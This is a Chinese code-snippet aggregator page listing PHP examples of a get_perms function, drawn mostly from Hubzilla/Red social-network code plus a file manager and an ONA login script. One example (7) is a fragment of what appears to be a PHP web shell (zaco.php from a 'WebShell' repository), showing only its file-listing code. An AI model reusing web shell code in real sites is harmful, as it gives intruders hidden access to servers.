当前位置: 首页>>代码示例>>PHP>>正文


PHP get_perms函数代码示例

本文整理汇总了PHP中get_perms函数的典型用法代码示例。如果您正苦于以下问题:PHP get_perms函数的具体用法?PHP get_perms怎么用?PHP get_perms使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了get_perms函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: fromGlobalPermission

 /**
  * This is the preferred way to create a PermissionDescription, as it provides the most details.
  * Use this method if you know an empty ACL will result in one of the global default permissions 
  * being used, such as channel_r_stream (for which you would pass 'view_stream').
  * 
  * @param  string $permname - a key for the global perms array from get_perms() in permissions.php,
  *         e.g. 'view_stream', 'view_profile', etc.
  * @return a new instance of PermissionDescription
  */
 public static function fromGlobalPermission($permname)
 {
     $result = null;
     $global_perms = get_perms();
     if (array_key_exists($permname, $global_perms)) {
         $permDetails = $global_perms[$permname];
         // It should be OK to always just read the permissions from App::$channel
         //
         // App::$profile is a union of channel and profile fields.
         // The distinction is basically that App::$profile is pointing to the resource
         // being observed. App::$channel is referring to the current logged-in channel
         // member (if this is a local channel) e.g. the observer. We only show the ACL
         // widget to the page owner (observer and observed are the same) so in that case
         // I believe either may be safely used here.
         $channelPerm = \App::$channel[$permDetails[0]];
         $result = new PermissionDescription($permDetails[1], $channelPerm);
     } else {
         // The acl dialog can handle null arguments, but it shouldn't happen
         logger('null PermissionDescription from unknown global permission: ' . $permname, LOGGER_DEBUG, LOG_ERROR);
     }
     return $result;
 }
开发者ID:einervonvielen,项目名称:hubzilla,代码行数:31,代码来源:PermissionDescription.php

示例2: zot_refresh

/**
 * @function: zot_refresh($them, $channel = null, $force = false)
 *
 *   zot_refresh is typically invoked when somebody has changed permissions of a channel and they are notified
 *   to fetch new permissions via a finger/discovery operation. This may result in a new connection 
 *   (abook entry) being added to a local channel and it may result in auto-permissions being granted. 
 * 
 *   Friending in zot is accomplished by sending a refresh packet to a specific channel which indicates a
 *   permission change has been made by the sender which affects the target channel. The hub controlling
 *   the target channel does targetted discovery (a zot-finger request requesting permissions for the local
 *   channel). These are decoded here, and if necessary and abook structure (addressbook) is created to store
 *   the permissions assigned to this channel. 
 *   
 *   Initially these abook structures are created with a 'pending' flag, so that no reverse permissions are 
 *   implied until this is approved by the owner channel. A channel can also auto-populate permissions in 
 *   return and send back a refresh packet of its own. This is used by forum and group communication channels
 *   so that friending and membership in the channel's "club" is automatic. 
 * 
 * @param array $them => xchan structure of sender
 * @param array $channel => local channel structure of target recipient, required for "friending" operations
 *
 * @returns boolean true if successful, else false 
 */
function zot_refresh($them, $channel = null, $force = false)
{
    if (array_key_exists('xchan_network', $them) && $them['xchan_network'] !== 'zot') {
        logger('zot_refresh: not got zot. ' . $them['xchan_name']);
        return true;
    }
    logger('zot_refresh: them: ' . print_r($them, true), LOGGER_DATA);
    if ($channel) {
        logger('zot_refresh: channel: ' . print_r($channel, true), LOGGER_DATA);
    }
    if ($them['hubloc_url']) {
        $url = $them['hubloc_url'];
    } else {
        $r = q("select hubloc_url from hubloc where hubloc_hash = '%s' and ( hubloc_flags & %d ) limit 1", dbesc($them['xchan_hash']), intval(HUBLOC_FLAGS_PRIMARY));
        if ($r) {
            $url = $r[0]['hubloc_url'];
        }
    }
    if (!$url) {
        logger('zot_refresh: no url');
        return false;
    }
    $postvars = array();
    if ($channel) {
        $postvars['target'] = $channel['channel_guid'];
        $postvars['target_sig'] = $channel['channel_guid_sig'];
        $postvars['key'] = $channel['channel_pubkey'];
    }
    if (array_key_exists('xchan_addr', $them) && $them['xchan_addr']) {
        $postvars['address'] = $them['xchan_addr'];
    }
    if (array_key_exists('xchan_hash', $them) && $them['xchan_hash']) {
        $postvars['guid_hash'] = $them['xchan_hash'];
    }
    if (array_key_exists('xchan_guid', $them) && $them['xchan_guid'] && array_key_exists('xchan_guid_sig', $them) && $them['xchan_guid_sig']) {
        $postvars['guid'] = $them['xchan_guid'];
        $postvars['guid_sig'] = $them['xchan_guid_sig'];
    }
    $rhs = '/.well-known/zot-info';
    $result = z_post_url($url . $rhs, $postvars);
    logger('zot_refresh: zot-info: ' . print_r($result, true), LOGGER_DATA);
    if ($result['success']) {
        $j = json_decode($result['body'], true);
        if (!($j && $j['success'])) {
            logger('zot_refresh: result not decodable');
            return false;
        }
        $x = import_xchan($j, $force ? UPDATE_FLAGS_FORCED : UPDATE_FLAGS_UPDATED);
        if (!$x['success']) {
            return false;
        }
        $their_perms = 0;
        if ($channel) {
            $global_perms = get_perms();
            if ($j['permissions']['data']) {
                $permissions = crypto_unencapsulate(array('data' => $j['permissions']['data'], 'key' => $j['permissions']['key'], 'iv' => $j['permissions']['iv']), $channel['channel_prvkey']);
                if ($permissions) {
                    $permissions = json_decode($permissions, true);
                }
                logger('decrypted permissions: ' . print_r($permissions, true), LOGGER_DATA);
            } else {
                $permissions = $j['permissions'];
            }
            $connected_set = false;
            if ($permissions && is_array($permissions)) {
                foreach ($permissions as $k => $v) {
                    // The connected permission means you are in their address book
                    if ($k === 'connected') {
                        $connected_set = intval($v);
                        continue;
                    }
                    if ($v && array_key_exists($k, $global_perms)) {
                        $their_perms = $their_perms | intval($global_perms[$k][1]);
                    }
                }
            }
            $r = q("select * from abook where abook_xchan = '%s' and abook_channel = %d and not (abook_flags & %d) limit 1", dbesc($x['hash']), intval($channel['channel_id']), intval(ABOOK_FLAG_SELF));
//.........这里部分代码省略.........
开发者ID:Mauru,项目名称:red,代码行数:101,代码来源:zot.php

示例3: zot_refresh

/**
 * @brief Refreshes after permission changed or friending, etc.
 *
 * zot_refresh is typically invoked when somebody has changed permissions of a channel and they are notified
 * to fetch new permissions via a finger/discovery operation. This may result in a new connection
 * (abook entry) being added to a local channel and it may result in auto-permissions being granted.
 *
 * Friending in zot is accomplished by sending a refresh packet to a specific channel which indicates a
 * permission change has been made by the sender which affects the target channel. The hub controlling
 * the target channel does targetted discovery (a zot-finger request requesting permissions for the local
 * channel). These are decoded here, and if necessary and abook structure (addressbook) is created to store
 * the permissions assigned to this channel.
 *
 * Initially these abook structures are created with a 'pending' flag, so that no reverse permissions are
 * implied until this is approved by the owner channel. A channel can also auto-populate permissions in
 * return and send back a refresh packet of its own. This is used by forum and group communication channels
 * so that friending and membership in the channel's "club" is automatic.
 *
 * @param array $them => xchan structure of sender
 * @param array $channel => local channel structure of target recipient, required for "friending" operations
 * @param array $force default false
 *
 * @returns boolean true if successful, else false
 */
function zot_refresh($them, $channel = null, $force = false)
{
    if (array_key_exists('xchan_network', $them) && $them['xchan_network'] !== 'zot') {
        logger('zot_refresh: not got zot. ' . $them['xchan_name']);
        return true;
    }
    logger('zot_refresh: them: ' . print_r($them, true), LOGGER_DATA);
    if ($channel) {
        logger('zot_refresh: channel: ' . print_r($channel, true), LOGGER_DATA);
    }
    $url = null;
    if ($them['hubloc_url']) {
        $url = $them['hubloc_url'];
    } else {
        $r = null;
        // if they re-installed the server we could end up with the wrong record - pointing to the old install.
        // We'll order by reverse id to try and pick off the newest one first and hopefully end up with the
        // correct hubloc. If this doesn't work we may have to re-write this section to try them all.
        if (array_key_exists('xchan_addr', $them) && $them['xchan_addr']) {
            $r = q("select hubloc_url, hubloc_primary from hubloc where hubloc_addr = '%s' order by hubloc_id desc", dbesc($them['xchan_addr']));
        }
        if (!$r) {
            $r = q("select hubloc_url, hubloc_primary from hubloc where hubloc_hash = '%s' order by hubloc_id desc", dbesc($them['xchan_hash']));
        }
        if ($r) {
            foreach ($r as $rr) {
                if (intval($rr['hubloc_primary'])) {
                    $url = $rr['hubloc_url'];
                    break;
                }
            }
            if (!$url) {
                $url = $r[0]['hubloc_url'];
            }
        }
    }
    if (!$url) {
        logger('zot_refresh: no url');
        return false;
    }
    $postvars = array();
    if ($channel) {
        $postvars['target'] = $channel['channel_guid'];
        $postvars['target_sig'] = $channel['channel_guid_sig'];
        $postvars['key'] = $channel['channel_pubkey'];
    }
    if (array_key_exists('xchan_addr', $them) && $them['xchan_addr']) {
        $postvars['address'] = $them['xchan_addr'];
    }
    if (array_key_exists('xchan_hash', $them) && $them['xchan_hash']) {
        $postvars['guid_hash'] = $them['xchan_hash'];
    }
    if (array_key_exists('xchan_guid', $them) && $them['xchan_guid'] && array_key_exists('xchan_guid_sig', $them) && $them['xchan_guid_sig']) {
        $postvars['guid'] = $them['xchan_guid'];
        $postvars['guid_sig'] = $them['xchan_guid_sig'];
    }
    $rhs = '/.well-known/zot-info';
    $result = z_post_url($url . $rhs, $postvars);
    logger('zot_refresh: zot-info: ' . print_r($result, true), LOGGER_DATA);
    if ($result['success']) {
        $j = json_decode($result['body'], true);
        if (!($j && $j['success'])) {
            logger('zot_refresh: result not decodable');
            return false;
        }
        $x = import_xchan($j, $force ? UPDATE_FLAGS_FORCED : UPDATE_FLAGS_UPDATED);
        if (!$x['success']) {
            return false;
        }
        $their_perms = 0;
        if ($channel) {
            $global_perms = get_perms();
            if ($j['permissions']['data']) {
                $permissions = crypto_unencapsulate(array('data' => $j['permissions']['data'], 'key' => $j['permissions']['key'], 'iv' => $j['permissions']['iv']), $channel['channel_prvkey']);
                if ($permissions) {
                    $permissions = json_decode($permissions, true);
//.........这里部分代码省略.........
开发者ID:23n,项目名称:hubzilla,代码行数:101,代码来源:zot.php

示例4: get_icon

		echo "<a href='".$urlpath."?action=delete&workpath=".$dirpath."&file=".$dirpath."/".$dirlist[$i]."'>$deleteimg</a>";        
		echo "<a href='".$urlpath."?action=rename&workpath=".$dirpath."&file=".$dirpath."/".$dirlist[$i]."'>$renameimg</a> ";
		//echo "<a href='".$urlpath."?rootpath=".$dirpath."/".$dirlist[$i]."'>ChDr</a> ";
		echo "</td></tr>";
	}
//Get file info and details
	for ($i=0;$i<Count($filelist);$i++) {
		echo "<tr>";
		$file = $dirpath."/".$filelist[$i];
		$icon = get_icon($dirpath."/".$filelist[$i]);
		echo "<td width='4%' align='center'><img src=$pathtoimages$icon></td>";
		echo "<td class='filemantext' style='white-space:nowrap' onmouseover='this.style.cursor=\"hand\";'><a href='".$rootURL."/$filelist[$i]'>".$filelist[$i]."</a></td>";
		echo "<td align='left' class='filemantext'>".myfilesize($file)."</td>";
		echo "<td align='left' class='filemantext'>".$mimetype->getType($file)."</td>";
		echo "<td align='left' class='filemantext'>".lastaccess($file, "E1")."</td>";
	    echo "<td align='center' class='filemantext' >".get_perms($file)."</td>";
		echo "<td align='left' class='filemantext' >";
		if (is_viewable_file($file)) 
			echo "<a href='".$rootURL."/".$filelist[$i]."' target='_blank' >$viewimg</a> ";
		if (is_editable_file($dirpath."/".$filelist[$i])) 
			echo "<a href='".$urlpath."?action=edit&workpath=".$dirpath."&file=".$filelist[$i]."'>$editimg</a> ";
        	echo "<a href='".$urlpath."?action=delete&workpath=".$dirpath."&file=".$dirpath."/".$filelist[$i]."'>$deleteimg</a> ";
   			echo "<a href='".$urlpath."?action=rename&workpath=".$dirpath."&file=".$dirpath."/".$filelist[$i]."'>$renameimg</a> ";
			echo "<a href='".$urlpath."?action=download&file=".$dirpath."/".$filelist[$i]."'>$downimg</a> ";
			echo "</tr>";
	}
			echo "<tr>";
			$diskfree = freespace($dirpath);
            echo "<td class='barbottom' align='left' colspan =3>".$dircount = sizeof($dirlist)." Directories /".$filecount =sizeof($filelist)." files</td>";
			echo "<td class='barbottom' align='left' colspan =4>"._AM_FREEDISKSPACE."</b> ".format_size($diskfree)."</td>";
			echo "</tr>";
开发者ID:severnaya99,项目名称:Sg-2010,代码行数:31,代码来源:filemanager.php

示例5: settings_content


//.........这里部分代码省略.........
        $user_scalable = get_pconfig(local_channel(), 'system', 'user_scalable');
        $user_scalable = $user_scalable === false ? '1' : $user_scalable;
        // default if not set: 1
        $browser_update = intval(get_pconfig(local_channel(), 'system', 'update_interval'));
        $browser_update = $browser_update == 0 ? 80 : $browser_update / 1000;
        // default if not set: 40 seconds
        $itemspage = intval(get_pconfig(local_channel(), 'system', 'itemspage'));
        $itemspage = $itemspage > 0 && $itemspage < 101 ? $itemspage : 20;
        // default if not set: 20 items
        $nosmile = get_pconfig(local_channel(), 'system', 'no_smilies');
        $nosmile = $nosmile === false ? '0' : $nosmile;
        // default if not set: 0
        $title_tosource = get_pconfig(local_channel(), 'system', 'title_tosource');
        $title_tosource = $title_tosource === false ? '0' : $title_tosource;
        // default if not set: 0
        $theme_config = "";
        if (($themeconfigfile = get_theme_config_file($theme_selected)) != null) {
            require_once $themeconfigfile;
            $theme_config = theme_content($a);
        }
        $tpl = get_markup_template("settings_display.tpl");
        $o = replace_macros($tpl, array('$ptitle' => t('Display Settings'), '$d_tset' => t('Theme Settings'), '$d_ctset' => t('Custom Theme Settings'), '$d_cset' => t('Content Settings'), '$form_security_token' => get_form_security_token("settings_display"), '$submit' => t('Submit'), '$baseurl' => $a->get_baseurl(true), '$uid' => local_channel(), '$theme' => $themes ? array('theme', t('Display Theme:'), $theme_selected, '', $themes, 'preview') : false, '$mobile_theme' => $mobile_themes ? array('mobile_theme', t('Mobile Theme:'), $mobile_theme_selected, '', $mobile_themes, '') : false, '$user_scalable' => array('user_scalable', t("Enable user zoom on mobile devices"), $user_scalable, '', $yes_no), '$ajaxint' => array('browser_update', t("Update browser every xx seconds"), $browser_update, t('Minimum of 10 seconds, no maximum')), '$itemspage' => array('itemspage', t("Maximum number of conversations to load at any time:"), $itemspage, t('Maximum of 100 items')), '$nosmile' => array('nosmile', t("Show emoticons (smilies) as images"), 1 - intval($nosmile), '', $yes_no), '$title_tosource' => array('title_tosource', t("Link post titles to source"), $title_tosource, '', $yes_no), '$layout_editor' => t('System Page Layout Editor - (advanced)'), '$theme_config' => $theme_config, '$expert' => feature_enabled(local_channel(), 'expert'), '$channel_list_mode' => array('channel_list_mode', t('Use blog/list mode on channel page'), get_pconfig(local_channel(), 'system', 'channel_list_mode'), t('(comments displayed separately)'), $yes_no), '$network_list_mode' => array('network_list_mode', t('Use blog/list mode on grid page'), get_pconfig(local_channel(), 'system', 'network_list_mode'), t('(comments displayed separately)'), $yes_no), '$channel_divmore_height' => array('channel_divmore_height', t('Channel page max height of content (in pixels)'), get_pconfig(local_channel(), 'system', 'channel_divmore_height') ? get_pconfig(local_channel(), 'system', 'channel_divmore_height') : 400, t('click to expand content exceeding this height')), '$network_divmore_height' => array('network_divmore_height', t('Grid page max height of content (in pixels)'), get_pconfig(local_channel(), 'system', 'network_divmore_height') ? get_pconfig(local_channel(), 'system', 'network_divmore_height') : 400, t('click to expand content exceeding this height'))));
        return $o;
    }
    if (argv(1) === 'channel') {
        require_once 'include/acl_selectors.php';
        require_once 'include/permissions.php';
        $p = q("SELECT * FROM `profile` WHERE `is_default` = 1 AND `uid` = %d LIMIT 1", intval(local_channel()));
        if (count($p)) {
            $profile = $p[0];
        }
        load_pconfig(local_channel(), 'expire');
        $channel = $a->get_channel();
        $global_perms = get_perms();
        $permiss = array();
        $perm_opts = array(array(t('Nobody except yourself'), 0), array(t('Only those you specifically allow'), PERMS_SPECIFIC), array(t('Approved connections'), PERMS_CONTACTS), array(t('Any connections'), PERMS_PENDING), array(t('Anybody on this website'), PERMS_SITE), array(t('Anybody in this network'), PERMS_NETWORK), array(t('Anybody authenticated'), PERMS_AUTHED), array(t('Anybody on the internet'), PERMS_PUBLIC));
        foreach ($global_perms as $k => $perm) {
            $options = array();
            foreach ($perm_opts as $opt) {
                if (!$perm[2] && $opt[1] == PERMS_PUBLIC) {
                    continue;
                }
                $options[$opt[1]] = $opt[0];
            }
            $permiss[] = array($k, $perm[3], $channel[$perm[0]], $perm[4], $options);
        }
        //		logger('permiss: ' . print_r($permiss,true));
        $username = $channel['channel_name'];
        $nickname = $channel['channel_address'];
        $timezone = $channel['channel_timezone'];
        $notify = $channel['channel_notifyflags'];
        $defloc = $channel['channel_location'];
        $maxreq = $channel['channel_max_friend_req'];
        $expire = $channel['channel_expire_days'];
        $adult_flag = intval($channel['channel_pageflags'] & PAGE_ADULT);
        $sys_expire = get_config('system', 'default_expire_days');
        //		$unkmail    = $a->user['unkmail'];
        //		$cntunkmail = $a->user['cntunkmail'];
        $hide_presence = intval(get_pconfig(local_channel(), 'system', 'hide_online_status'));
        $expire_items = get_pconfig(local_channel(), 'expire', 'items');
        $expire_items = $expire_items === false ? '1' : $expire_items;
        // default if not set: 1
        $expire_notes = get_pconfig(local_channel(), 'expire', 'notes');
        $expire_notes = $expire_notes === false ? '1' : $expire_notes;
        // default if not set: 1
        $expire_starred = get_pconfig(local_channel(), 'expire', 'starred');
开发者ID:Gillesq,项目名称:hubzilla,代码行数:67,代码来源:settings.php

示例6: mail_post

function mail_post(&$a)
{
    if (!local_user()) {
        return;
    }
    $replyto = x($_REQUEST, 'replyto') ? notags(trim($_REQUEST['replyto'])) : '';
    $subject = x($_REQUEST, 'subject') ? notags(trim($_REQUEST['subject'])) : '';
    $body = x($_REQUEST, 'body') ? escape_tags(trim($_REQUEST['body'])) : '';
    $recipient = x($_REQUEST, 'messageto') ? notags(trim($_REQUEST['messageto'])) : '';
    $rstr = x($_REQUEST, 'messagerecip') ? notags(trim($_REQUEST['messagerecip'])) : '';
    $expires = x($_REQUEST, 'expires') ? datetime_convert(date_default_timezone_get(), 'UTC', $_REQUEST['expires']) : NULL_DATE;
    // If we have a raw string for a recipient which hasn't been auto-filled,
    // it means they probably aren't in our address book, hence we don't know
    // if we have permission to send them private messages.
    // finger them and find out before we try and send it.
    if (!$recipient) {
        $channel = $a->get_channel();
        $ret = zot_finger($rstr, $channel);
        if (!$ret['success']) {
            notice(t('Unable to lookup recipient.') . EOL);
            return;
        }
        $j = json_decode($ret['body'], true);
        logger('message_post: lookup: ' . $url . ' ' . print_r($j, true));
        if (!($j['success'] && $j['guid'])) {
            notice(t('Unable to communicate with requested channel.'));
            return;
        }
        $x = import_xchan($j);
        if (!$x['success']) {
            notice(t('Cannot verify requested channel.'));
            return;
        }
        $recipient = $x['hash'];
        $their_perms = 0;
        $global_perms = get_perms();
        if ($j['permissions']['data']) {
            $permissions = crypto_unencapsulate($j['permissions'], $channel['channel_prvkey']);
            if ($permissions) {
                $permissions = json_decode($permissions);
            }
            logger('decrypted permissions: ' . print_r($permissions, true), LOGGER_DATA);
        } else {
            $permissions = $j['permissions'];
        }
        foreach ($permissions as $k => $v) {
            if ($v) {
                $their_perms = $their_perms | intval($global_perms[$k][1]);
            }
        }
        if (!($their_perms & PERMS_W_MAIL)) {
            notice(t('Selected channel has private message restrictions. Send failed.'));
            return;
        }
    }
    //	if(feature_enabled(local_user(),'richtext')) {
    //		$body = fix_mce_lf($body);
    //	}
    if (!$recipient) {
        notice('No recipient found.');
        $a->argc = 2;
        $a->argv[1] = 'new';
        return;
    }
    // We have a local_user, let send_message use the session channel and save a lookup
    $ret = send_message(0, $recipient, $body, $subject, $replyto, $expires);
    if (!$ret['success']) {
        notice($ret['message']);
    }
    goaway(z_root() . '/message');
}
开发者ID:Mauru,项目名称:red,代码行数:71,代码来源:mail.php

示例7: printf

printf("% 20s ",@filesize($work_dir.$fn).'B');
printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
}
else {$not_dirs[]=$fn;}
}
for($i=0;$i<sizeof($not_dirs);$i++)
{
$fn=$not_dirs[$i];
echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','&quot;',$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn))); 
if($winda===false)
{
$owner=@posix_getpwuid(@fileowner($work_dir.$fn));
$group=@posix_getgrgid(@filegroup($work_dir.$fn));
printf("% 20s|% -20s",$owner['name'],$group['name']);
}
echo(@get_perms($work_dir.$fn).str_repeat(' ',10));
printf("% 20s ",@filesize($work_dir.$fn).'B');
printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n");
}
echo('</pre><hr>');
?>
<form name='list' method=post>
<input name='work_dir' type=hidden size=120><br>
<input name='page' value='cmd' type=hidden>
<input name='f_action' value='view' type=hidden>
</form>
<?
} else echo('Error Listing '.$e_work_dir);
}
else
switch($f_action)
开发者ID:xl7dev,项目名称:WebShell,代码行数:31,代码来源:zaco.php

示例8: load_auth_class

// Start out the session as a guest with level 0 access.  This is for view only mode.
// You can enable or disable this by setting the "disable_guest" sysconfig option
if ($_SERVER['PHP_AUTH_USER'] == '' and !$conf['disable_guest']) {
    $_SESSION['ona']['auth']['user']['username'] = 'dcm.pl';
    // create new local authentication class directly
    $auth = load_auth_class('local');
    get_perms('dcm.pl');
    printmsg("INFO => [{$type}] {$_SESSION['ona']['auth']['user']['username']} has logged in", 3);
} else {
    // Set the cli user as the login user
    $DCMUSER = $_SESSION['ona']['auth']['user']['username'] = $_SERVER['PHP_AUTH_USER'];
    printmsg("INFO => [{$type}] Attempting login as " . $DCMUSER, 4);
    list($status, $js) = get_authentication($DCMUSER, $_SERVER['PHP_AUTH_PW']);
    $errmsg = substr($js, 27);
    if ($status == 0) {
        $PERMSTAT = get_perms($DCMUSER);
        printmsg("INFO => [{$type}] {$_SESSION['ona']['auth']['user']['username']} has logged in", 3);
    } else {
        printmsg("ERROR => DCM: Unknown user {$DCMUSER}", 4);
        print "ERROR => [{$DCMUSER}]: {$errmsg}\nSee -l and -p options within dcm.pl.\n";
        // clear the session
        // FIXME: should I do a sess_destroy or sess_close instead?  to clear crap from the DB
        unset($_SESSION['ona']['auth']);
        exit;
    }
}
// Display the current debug level if it's above 1
printmsg("DEBUG => debug level: {$conf['debug']}", 1);
/* ----------- RUN A MODULE IF NEEDED ------------ */
if (isset($_REQUEST['module'])) {
    // Run the module
开发者ID:edt82,项目名称:ona,代码行数:31,代码来源:dcm.php

示例9: create_identity

/**
 * @function create_identity($arr)
 *     Create a new channel
 * Also creates the related xchan, hubloc, profile, and "self" abook records, and an 
 * empty "Friends" group/collection for the new channel
 *
 * @param array $arr
 *       'name'       => full name of channel
 *       'nickname'   => "email/url-compliant" nickname
 *       'account_id' => account_id to attach with this channel
 *       [other identity fields as desired]
 *
 * @returns array
 *     'success' => boolean true or false
 *     'message' => optional error text if success is false
 *     'channel' => if successful the created channel array
 */
function create_identity($arr)
{
    $a = get_app();
    $ret = array('success' => false);
    if (!$arr['account_id']) {
        $ret['message'] = t('No account identifier');
        return $ret;
    }
    $ret = identity_check_service_class($arr['account_id']);
    if (!$ret['success']) {
        return $ret;
    }
    $nick = mb_strtolower(trim($arr['nickname']));
    if (!$nick) {
        $ret['message'] = t('Nickname is required.');
        return $ret;
    }
    $name = escape_tags($arr['name']);
    $pageflags = x($arr, 'pageflags') ? intval($arr['pageflags']) : PAGE_NORMAL;
    $xchanflags = x($arr, 'xchanflags') ? intval($arr['xchanflags']) : XCHAN_FLAGS_NORMAL;
    $name_error = validate_channelname($arr['name']);
    if ($name_error) {
        $ret['message'] = $name_error;
        return $ret;
    }
    if ($nick === 'sys' && !($pageflags & PAGE_SYSTEM)) {
        $ret['message'] = t('Reserved nickname. Please choose another.');
        return $ret;
    }
    if (check_webbie(array($nick)) !== $nick) {
        $ret['message'] = t('Nickname has unsupported characters or is already being used on this site.');
        return $ret;
    }
    $guid = zot_new_uid($nick);
    $key = new_keypair(4096);
    $sig = base64url_encode(rsa_sign($guid, $key['prvkey']));
    $hash = make_xchan_hash($guid, $sig);
    // Force a few things on the short term until we can provide a theme or app with choice
    $publish = 1;
    if (array_key_exists('publish', $arr)) {
        $publish = intval($arr['publish']);
    }
    $primary = true;
    if (array_key_exists('primary', $arr)) {
        $primary = intval($arr['primary']);
    }
    $perms_sql = '';
    $defperms = site_default_perms();
    $global_perms = get_perms();
    foreach ($defperms as $p => $v) {
        $perms_keys .= ', ' . $global_perms[$p][0];
        $perms_vals .= ', ' . intval($v);
    }
    $expire = get_config('system', 'default_expire_days');
    $expire = $expire === false ? '0' : $expire;
    $r = q("insert into channel ( channel_account_id, channel_primary, \n\t\tchannel_name, channel_address, channel_guid, channel_guid_sig,\n\t\tchannel_hash, channel_prvkey, channel_pubkey, channel_pageflags, channel_expire_days {$perms_keys} )\n\t\tvalues ( %d, %d, '%s', '%s', '%s', '%s', '%s', '%s', '%s', %d, %d {$perms_vals} ) ", intval($arr['account_id']), intval($primary), dbesc($name), dbesc($nick), dbesc($guid), dbesc($sig), dbesc($hash), dbesc($key['prvkey']), dbesc($key['pubkey']), intval($pageflags), intval($expire));
    $r = q("select * from channel where channel_account_id = %d \n\t\tand channel_guid = '%s' limit 1", intval($arr['account_id']), dbesc($guid));
    if (!$r) {
        $ret['message'] = t('Unable to retrieve created identity');
        return $ret;
    }
    $ret['channel'] = $r[0];
    if (intval($arr['account_id'])) {
        set_default_login_identity($arr['account_id'], $ret['channel']['channel_id'], false);
    }
    // Create a verified hub location pointing to this site.
    $r = q("insert into hubloc ( hubloc_guid, hubloc_guid_sig, hubloc_hash, hubloc_addr, hubloc_flags, \n\t\thubloc_url, hubloc_url_sig, hubloc_host, hubloc_callback, hubloc_sitekey )\n\t\tvalues ( '%s', '%s', '%s', '%s', %d, '%s', '%s', '%s', '%s', '%s' )", dbesc($guid), dbesc($sig), dbesc($hash), dbesc($ret['channel']['channel_address'] . '@' . get_app()->get_hostname()), intval($primary ? HUBLOC_FLAGS_PRIMARY : 0), dbesc(z_root()), dbesc(base64url_encode(rsa_sign(z_root(), $ret['channel']['channel_prvkey']))), dbesc(get_app()->get_hostname()), dbesc(z_root() . '/post'), dbesc(get_config('system', 'pubkey')));
    if (!$r) {
        logger('create_identity: Unable to store hub location');
    }
    $newuid = $ret['channel']['channel_id'];
    $r = q("insert into xchan ( xchan_hash, xchan_guid, xchan_guid_sig, xchan_pubkey, xchan_photo_l, xchan_photo_m, xchan_photo_s, xchan_addr, xchan_url, xchan_follow, xchan_connurl, xchan_name, xchan_network, xchan_photo_date, xchan_name_date, xchan_flags ) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', %d)", dbesc($hash), dbesc($guid), dbesc($sig), dbesc($key['pubkey']), dbesc($a->get_baseurl() . "/photo/profile/l/{$newuid}"), dbesc($a->get_baseurl() . "/photo/profile/m/{$newuid}"), dbesc($a->get_baseurl() . "/photo/profile/s/{$newuid}"), dbesc($ret['channel']['channel_address'] . '@' . get_app()->get_hostname()), dbesc(z_root() . '/channel/' . $ret['channel']['channel_address']), dbesc(z_root() . '/follow?f=&url=%s'), dbesc(z_root() . '/poco/' . $ret['channel']['channel_address']), dbesc($ret['channel']['channel_name']), dbesc('zot'), dbesc(datetime_convert()), dbesc(datetime_convert()), intval($xchanflags));
    // Not checking return value.
    // It's ok for this to fail if it's an imported channel, and therefore the hash is a duplicate
    $r = q("INSERT INTO profile ( aid, uid, profile_guid, profile_name, is_default, publish, name, photo, thumb)\n\t\tVALUES ( %d, %d, '%s', '%s', %d, %d, '%s', '%s', '%s') ", intval($ret['channel']['channel_account_id']), intval($newuid), dbesc(random_string()), t('Default Profile'), 1, $publish, dbesc($ret['channel']['channel_name']), dbesc($a->get_baseurl() . "/photo/profile/l/{$newuid}"), dbesc($a->get_baseurl() . "/photo/profile/m/{$newuid}"));
    $r = q("insert into abook ( abook_account, abook_channel, abook_xchan, abook_closeness, abook_created, abook_updated, abook_flags )\n\t\tvalues ( %d, %d, '%s', %d, '%s', '%s', %d ) ", intval($ret['channel']['channel_account_id']), intval($newuid), dbesc($hash), intval(0), dbesc(datetime_convert()), dbesc(datetime_convert()), intval(ABOOK_FLAG_SELF));
    if (intval($ret['channel']['channel_account_id'])) {
        // Create a group with no members. This allows somebody to use it
        // right away as a default group for new contacts.
        require_once 'include/group.php';
        group_add($newuid, t('Friends'));
        call_hooks('register_account', $newuid);
        proc_run('php', 'include/directory.php', $ret['channel']['channel_id']);
//.........这里部分代码省略.........
开发者ID:Mauru,项目名称:red,代码行数:101,代码来源:identity.php

示例10: connedit_content

function connedit_content(&$a)
{
    $sort_type = 0;
    $o = '';
    if (!local_channel()) {
        notice(t('Permission denied.') . EOL);
        return login();
    }
    $channel = $a->get_channel();
    $my_perms = get_channel_default_perms(local_channel());
    $role = get_pconfig(local_channel(), 'system', 'permissions_role');
    if ($role) {
        $x = get_role_perms($role);
        if ($x['perms_accept']) {
            $my_perms = $x['perms_accept'];
        }
    }
    if ($my_perms) {
        $o .= "<script>function connectDefaultShare() {\n\t\t\$('.abook-edit-me').each(function() {\n\t\t\tif(! \$(this).is(':disabled'))\n\t\t\t\t\$(this).removeAttr('checked');\n\t\t});\n\n";
        $perms = get_perms();
        foreach ($perms as $p => $v) {
            if ($my_perms & $v[1]) {
                $o .= "\$('#me_id_perms_" . $p . "').attr('checked','checked'); \n";
            }
        }
        $o .= " }\n</script>\n";
    }
    if (argc() == 3) {
        $contact_id = intval(argv(1));
        if (!$contact_id) {
            return;
        }
        $cmd = argv(2);
        $orig_record = q("SELECT abook.*, xchan.* FROM abook left join xchan on abook_xchan = xchan_hash\n\t\t\tWHERE abook_id = %d AND abook_channel = %d AND NOT ( abook_flags & %d )>0 LIMIT 1", intval($contact_id), intval(local_channel()), intval(ABOOK_FLAG_SELF));
        if (!count($orig_record)) {
            notice(t('Could not access address book record.') . EOL);
            goaway($a->get_baseurl(true) . '/connections');
        }
        if ($cmd === 'update') {
            // pull feed and consume it, which should subscribe to the hub.
            proc_run('php', "include/poller.php", "{$contact_id}");
            goaway($a->get_baseurl(true) . '/connedit/' . $contact_id);
        }
        if ($cmd === 'refresh') {
            if (!zot_refresh($orig_record[0], get_app()->get_channel())) {
